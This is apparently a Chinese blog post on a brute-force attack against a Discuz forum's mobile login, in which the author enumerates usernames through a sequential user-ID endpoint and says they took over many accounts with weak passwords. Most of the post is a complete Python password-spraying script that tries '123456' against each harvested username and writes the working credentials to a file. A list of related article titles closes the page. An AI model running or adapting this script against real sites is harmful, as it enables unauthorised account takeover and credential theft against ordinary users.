[漏洞利用]某站点登录接口暴力破解脚本
2014-12-20 19:19
337 查看
在某discuz论坛上发现发帖的用户都是登录名做昵称,故注册了一个帐号进行登录,仔细分析之后,发现有一个url会根据id返回相应的基本用户信息,而信息里面包含了用户名!并且id是顺序递增的,这意味着我们是可以使用脚本大批量获取该站点的用户名的。此外,经过手动验证,该论坛的登录只做了纵向暴力破解防御,而横向防暴力破解是没有的,结合这两点拿下了该站点很多使用弱口令的账户。
注:
纵向暴力破解:即对单一账户使用不同的密码进行尝试,如果应用有做防御,一般会出现验证码或者锁定之类的现象。
横向暴力破解:即使用单一弱口令尝试登录不同的账户。一般情况下,为了用户体验,都会有至少3次的尝试机会,因此,如果使用高频率的密码进行尝试,则命中率是比较高的。
获取用户名脚本(此处略)。
横向暴力破解脚本:
#coding:utf-8, import sys,urllib,urllib2,cookielib,time; url1 = "http://www.xxx.com/mobile/xxx-login.html"; url2 = "http://www.xxx.com/mobile/xxx-post_login.html"; def s_request(url,data,step): req = urllib2.Request(url); #构造要发送的request内容 if(data != None): req.add_data(data); req.add_header("Proxy-Connection","keep-alive"); req.add_header("Accept-Language","zh-CN,zh;q=0.8,en;q=0.6"); req.add_header("User-Agent","Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36"); if(step == 1): req.add_header("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"); req.add_header("Cookie","vary=ad6b4f8d4c39539fa40661c653cd4a4f6b65742dbf71bbea39c0f33572385dc0; Hm_lvt_4f2975be01c8951042db4fd8dd38717b=1399626611,1399700907,1399774576"); else: req.add_header("Accept","application/json"); req.add_header("Referer","http://www.xxx.com/mobile/xxx-login.html"); req.add_header("Content-Type","application/x-www-form-urlencoded"); req.add_header("X-Requested-With","XMLHttpRequest"); resp = urllib2.urlopen(req); #发送request,返回文件描述符 str = resp.read(); # print str; if(str.find("success")!=-1): #存在success表示登录成功 return 1 else: return 0; #自动带上cookie cj = cookielib.CookieJar(); opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)); urllib2.install_opener(opener) u = open("D:\\uid\\uname.txt","r"); l = open("D:\\uid\\record.txt","a"); s_request(url1,None,1); #通过url1获取cookie while 1: user = u.readline(); if(len(user) == 0): break; user = user.replace('\n',''); print user; data = {"returnUrl":"http%3A%2F%2Fwww.xxx.com%2Findex.php","password":"123456","uname":user,}; data = urllib.urlencode(data); if(s_request(url2,data,2) == 1): #尝试登录 l.write(user+":"+"123456"+"\n"); #将用户名和密码记录到文件 l.flush(); s_request(url1,None,1); #重新获取cookie u.close(); l.close();
相关文章推荐
- CentOS7 下一个利用安全日志和防火墙防止暴力破解的SHELL脚本
- 利用图片密码登录功能防止暴力破解Windows8系统密码
- 利用输入法漏洞轻松破解登录Vista
- 利用denyhosts防止ssh暴力破解+脚本防破解
- “上传漏洞”以及“登录页暴力破解”的防御
- Python脚本暴力破解web登录
- 利用hydra(九头蛇)暴力破解内网windows登录密码
- ASP上传漏洞之利用CHR(0)绕过扩展名检测脚本
- 利用SQL注入漏洞登录后台的实现方法
- Linux登录暴力破解工具 hydra
- Java Servlet 包含有交叉站点的脚本漏洞
- 利用shell脚本自动拒绝试图登录FTP
- java网络编程五:暴力法破解登录系统的完全实现(木子)
- 利用SQL注入漏洞登录后台
- java网络编程五:暴力法破解登录系统的完全实现
- 跨站脚本漏洞的利用
- 在一个站点登录时异步登录另一个集成认证的站点脚本
- java网络编程五:暴力法破解登录系统的完全实现(木子)
- 利用adsutil.vbs脚本创建自定义web站点
- [Ubuntu] 利用Ubuntu光盘破解win7用户登录 -- Crark the win7 user via Ubuntu live CD